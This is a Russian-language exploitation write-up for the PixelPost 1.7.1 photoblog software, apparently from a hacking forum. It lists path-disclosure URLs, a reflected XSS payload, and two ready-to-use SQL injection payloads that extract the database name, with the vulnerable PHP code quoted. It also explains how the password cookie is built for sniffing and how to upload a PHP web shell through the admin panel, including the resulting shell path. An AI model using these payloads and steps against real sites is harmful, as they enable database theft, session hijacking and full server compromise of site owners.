PixelPost 1.7.1
Офф сайт: http://www.pixelpost.org
Последняя версия: 1.7.1
Ссылка на скачиваение: http://www.pixelpost.org/releases/pixelpost_v1.7.1.zip
Раскрытие путей
includes/functions_feeds.php
includes/addons_lib.php
includes/functions_browse.php
includes/functions_comments.php?x=save_comment (register_globals = on)
includes/functions_feeds.php
includes/markdown.php?wp_version=1 (register_globals = on)
addons/admin_12CropImage.php
addons/admin_ping.php?view=addons POST запрос >
pinglistupdate=1&pinglist=1
addons/advanced_stat.php
addons/calendar.php
addons/copy_folder.php
addons/paged_archive.php
addons/_akismet/admin_akismet_comment.php
addons/_akismet/front_akismet_comment.php
Пассивная XSS
Зависимость: register_globals = on
admin/pass_recovery.php?x=passreminder&admin_lang_pw_tit le=</title><script>alert()</script>
Пароль в куке pp_password, шифруется по алгоритму sha1(
password.$_SERVER["REMOTE_ADDR"]), поэтому вывод айпи в сниффере обязателен
SQL-INJ
Зависимость: magic_quotes = off
index.php?x=browse&category=a&archivedate=1990-12%00')+UNION+SELECT+1,2,DATABASE(),4,5%20--%20
Уязвимый кусок кода:
PHP код:
if(isset($_GET['category'])) { $pp_cat = addslashes($_GET['category']); }else{ $pp_cat = 0; }
if(is_numeric($pp_cat) && $pp_cat != "")
{
[B].. вырезано ..[/B]
}
elseif(isset($_GET['archivedate']) && eregi("^[0-9]{4}-[0-9]{2}$", $_GET['archivedate']))
{
$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d')
$query = mysql_query("SELECT 1,id,{$headline_selection},image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY ".$cfgrow['display_sort_by']." ".$display_order);
SQL-INJ
Зависимость: magic_quotes = off
GET: index.php?x=browse&category=a
&& POST: category[]=') GROUP BY t2.id UNION SELECT 1,2,3,DATABASE(),5 --
Уязвимый кусок кода:
PHP код:
foreach( $_POST['category'] as $cat)
{
$cat = clean($cat);
$where .= "t1.cat_id='$cat' OR ";
$lookingfor++;
}
$where .= " 0)";
$querystr = "SELECT COUNT(t1.id), t2.id,{$headline_selection},image,datetime
FROM {$pixelpost_db_prefix}catassoc AS t1
INNER JOIN {$pixelpost_db_prefix}pixelpost t2 ON t2.id = t1.image_id
WHERE (datetime<='$cdate') AND
$where
GROUP BY t2.id
ORDER BY ".$cfgrow['display_sort_by']." ".$display_order;
Префикс таблиц по дефолту - pixelpost_
Заливка шелла очень простая - админка не проверяет даже расширение заливаемого файла ..
ЗЫ: линк до шелла будет примерно такой: images/20090129070046_shell.php
Пока все, думаю найдутся еще баги, я не все просмотрел.